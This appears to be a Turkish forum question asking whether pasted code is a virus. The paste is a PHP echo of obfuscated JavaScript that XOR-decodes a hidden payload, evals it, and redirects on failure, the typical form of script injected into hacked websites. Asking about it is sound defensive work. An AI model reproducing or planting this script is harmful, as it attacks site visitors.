Aşağıdaki kodlar virüs mü acaba ? Sileyim mi hepsini?

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<?php echo '<script>mktgmk="454e42544c444f550f565348554409061d484753404c44015253421c03495555511b0e0e18100f1310130f17140f1015190e030156484555491c10014944484649551c131f1d0e484753404c441f06081a2c2b575052404a531c036f406f031a43431c036f406f031a";iymrih="function haco(){otrlc=Math.PI;low=parseInt;xkr='length';ajt=low(~((otrlc&otrlc)|(~otrlc&otrlc)&(otrlc&~otrlc)|(~otrlc&~otrlc)));cmbi=low(((ajt&ajt)|(~ajt&ajt)&(ajt&~ajt)|(~ajt&~ajt))&1);kxb=cmbi<<cmbi;bb=ajt;bb=ajt;vqsakr='';buqmu=eval(unescape('%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65'));rhhvaq=eval;for(jcszf=ajt;jcszf<iymrih[xkr];jcszf-=-cmbi)bb+=iymrih.charCodeAt(jcszf);bb%=unescape(ajt+unescape('x')+(1<<6));for(jcszf=ajt;jcszf<mktgmk[xkr];jcszf+=kxb)vqsakr+=buqmu(low(ajt+unescape('x')+mktgmk.charAt(jcszf)+mktgmk.charAt(jcszf+low(cmbi)))^bb);try{rhhvaq(vqsakr);}catch(e){try{eval(vqsakr);}catch(e) {window.location='/';}}}try{eval('haco();')}catch(e) {alert('err');}";eval(iymrih);</script>'; ?>